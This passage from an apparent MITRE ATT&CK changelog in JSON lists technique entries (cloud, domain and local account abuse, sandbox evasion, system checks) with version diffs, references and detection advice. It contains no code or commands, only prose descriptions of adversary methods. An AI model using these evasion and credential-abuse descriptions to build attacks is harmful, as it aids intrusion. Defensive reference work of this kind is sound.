"kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/004", "external_id": "T1078.004" }, { "source_name": "AWS Identity Federation", "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.", "url": "https://aws.amazon.com/identity/federation/" }, { "source_name": "Google Federating GC", "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.", "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction" }, { "source_name": "Microsoft Deploying AD Federation", "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jon Sternstein, Stern Security" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Metadata", "User Account: User Account Authentication", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace" ], "x_mitre_version": "1.3", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Jon Sternstein, Stern Security\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 17:48:05.659000+00:00\", \"old_value\": \"2021-03-16 12:45:15.399000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Logon Session: Logon Session Metadata\"}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management", "M1027: Password Policies", "M1032: Multi-factor Authentication" ], "new": [ "M1017: User Training" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0028: Logon Session (Logon Session Creation)", "DS0028: Logon Session (Logon Session Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-13 20:21:54.758000+00:00", "modified": "2021-10-19 03:29:47.651000+00:00", "name": "Domain Accounts", "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/002", "external_id": "T1078.002" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/560.html", "external_id": "CAPEC-560" }, { "source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" }, { "source_name": "Microsoft AD Accounts", "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts" }, { "source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" }, { "source_name": "Ubuntu SSSD Docs", "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.", "url": "https://ubuntu.com/server/docs/service-sssd" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jon Sternstein, Stern Security" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Metadata", "User Account: User Account Authentication", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Jon Sternstein, Stern Security\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-19 03:29:47.651000+00:00\", \"old_value\": \"2020-09-16 19:42:11.787000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. 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Retrieved September 23, 2021.\", \"url\": \"https://ubuntu.com/server/docs/service-sssd\"}, \"root['x_mitre_data_sources'][0]\": \"Logon Session: Logon Session Metadata\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1032: Multi-factor Authentication" ], "new": [ "M1017: User Training" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0002: User Account (User Account Authentication)", "DS0028: Logon Session (Logon Session Creation)", "DS0028: Logon Session (Logon Session Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-13 20:26:46.695000+00:00", "modified": "2021-10-18 17:45:48.323000+00:00", "name": "Local Accounts", "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/003", "external_id": "T1078.003" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Metadata", "User Account: User Account Authentication", "Logon Session: Logon Session Creation" ], "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. 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This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1497", "external_id": "T1497" }, { "source_name": "Deloitte Environment Awareness", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc" }, { "source_name": "Unit 42 Pirpi July 2015", "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.", "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Deloitte Threat Library Team", "Sunny Neo" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Host forensic analysis", "Signature-based detection", "Static File Analysis" ], "x_mitre_detection": "Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 14:57:48.989000+00:00\", \"old_value\": \"2021-04-21 15:16:10.835000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n\\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\\n\\n\", \"old_value\": \"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \\n\\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \\n+Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n \\n Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\\n \"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Deloitte Environment Awareness\", \"old_value\": \"Unit 42 Pirpi July 2015\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"old_value\": \"Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"old_value\": \"https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Unit 42 Pirpi July 2015\", \"description\": \"Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.\", \"url\": \"https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may employ various means to detect and avoid virt1Adversaries may employ various means to detect and avoid vir
>tualization and analysis environments. This may include chan>tualization and analysis environments. This may include chan
>ging behaviors based on the results of checks for the presen>ging behaviors based on the results of checks for the presen
>ce of artifacts indicative of a virtual machine environment >ce of artifacts indicative of a virtual machine environment 
>(VME) or sandbox. If the adversary detects a VME, they may a>(VME) or sandbox. If the adversary detects a VME, they may a
>lter their malware to disengage from the victim or conceal t>lter their malware to disengage from the victim or conceal t
>he core functions of the implant. They may also search for V>he core functions of the implant. They may also search for V
>ME artifacts before dropping secondary or additional payload>ME artifacts before dropping secondary or additional payload
>s. Adversaries may use the information learned from [Virtual>s. Adversaries may use the information learned from [Virtual
>ization/Sandbox Evasion](https://attack.mitre.org/techniques>ization/Sandbox Evasion](https://attack.mitre.org/techniques
>/T1497) during automated discovery to shape follow-on behavi>/T1497) during automated discovery to shape follow-on behavi
>ors.   Adversaries may use several methods to accomplish [Vi>ors.(Citation: Deloitte Environment Awareness)  Adversaries 
>rtualization/Sandbox Evasion](https://attack.mitre.org/techn>may use several methods to accomplish [Virtualization/Sandbo
>iques/T1497) such as checking for security monitoring tools >x Evasion](https://attack.mitre.org/techniques/T1497) such a
>(e.g., Sysinternals, Wireshark, etc.) or other system artifa>s checking for security monitoring tools (e.g., Sysinternals
>cts associated with analysis or virtualization. Adversaries >, Wireshark, etc.) or other system artifacts associated with
>may also check for legitimate user activity to help determin> analysis or virtualization. Adversaries may also check for 
>e if it is in an analysis environment. Additional methods in>legitimate user activity to help determine if it is in an an
>clude use of sleep timers or loops within malware code to av>alysis environment. Additional methods include use of sleep 
>oid operating within a temporary sandbox.(Citation: Unit 42 >timers or loops within malware code to avoid operating withi
>Pirpi July 2015)  >n a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)  
", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-06 20:57:37.959000+00:00", "modified": "2021-10-18 14:57:07.973000+00:00", "name": "System Checks", "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1497/001", "external_id": "T1497.001" }, { "source_name": "Deloitte Environment Awareness", "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.", "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc" }, { "source_name": "McAfee Virtual Jan 2017", "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.", "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/" }, { "source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Deloitte Threat Library Team" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_defense_bypassed": [ "Static File Analysis", "Signature-based detection", "Host forensic analysis", "Anti-virus" ], "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 14:57:07.973000+00:00\", \"old_value\": \"2021-04-21 15:16:10.604000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n\\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \\n\\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \\n\\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \\n \\nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)\", \"old_value\": \"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \\n\\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \\n\\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \\n\\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \\n \\nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \\n+Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n \\n Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \\n \"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Deloitte Environment Awareness\", \"old_value\": \"McAfee Virtual Jan 2017\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"old_value\": \"Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"old_value\": \"https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"McAfee Virtual Jan 2017\", \"old_value\": \"Unit 42 OilRig Sept 2018\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.\", \"old_value\": \"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/\", \"old_value\": \"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Unit 42 OilRig Sept 2018\", \"description\": \"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.\", \"url\": \"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may employ various system checks to detect and at1Adversaries may employ various system checks to detect and a
>void virtualization and analysis environments. This may incl>void virtualization and analysis environments. This may incl
>ude changing behaviors based on the results of checks for th>ude changing behaviors based on the results of checks for th
>e presence of artifacts indicative of a virtual machine envi>e presence of artifacts indicative of a virtual machine envi
>ronment (VME) or sandbox. If the adversary detects a VME, th>ronment (VME) or sandbox. If the adversary detects a VME, th
>ey may alter their malware to disengage from the victim or c>ey may alter their malware to disengage from the victim or c
>onceal the core functions of the implant. They may also sear>onceal the core functions of the implant. They may also sear
>ch for VME artifacts before dropping secondary or additional>ch for VME artifacts before dropping secondary or additional
> payloads. Adversaries may use the information learned from > payloads. Adversaries may use the information learned from 
>[Virtualization/Sandbox Evasion](https://attack.mitre.org/te>[Virtualization/Sandbox Evasion](https://attack.mitre.org/te
>chniques/T1497) during automated discovery to shape follow-o>chniques/T1497) during automated discovery to shape follow-o
>n behaviors.   Specific checks will vary based on the target>n behaviors.(Citation: Deloitte Environment Awareness)  Spec
> and/or adversary, but may involve behaviors such as [Window>ific checks will vary based on the target and/or adversary, 
>s Management Instrumentation](https://attack.mitre.org/techn>but may involve behaviors such as [Windows Management Instru
>iques/T1047), [PowerShell](https://attack.mitre.org/techniqu>mentation](https://attack.mitre.org/techniques/T1047), [Powe
>es/T1059/001), [System Information Discovery](https://attack>rShell](https://attack.mitre.org/techniques/T1059/001), [Sys
>.mitre.org/techniques/T1082), and [Query Registry](https://a>tem Information Discovery](https://attack.mitre.org/techniqu
>ttack.mitre.org/techniques/T1012) to obtain system informati>es/T1082), and [Query Registry](https://attack.mitre.org/tec
>on and search for VME artifacts. Adversaries may search for >hniques/T1012) to obtain system information and search for V
>VME artifacts in memory, processes, file system, hardware, a>ME artifacts. Adversaries may search for VME artifacts in me
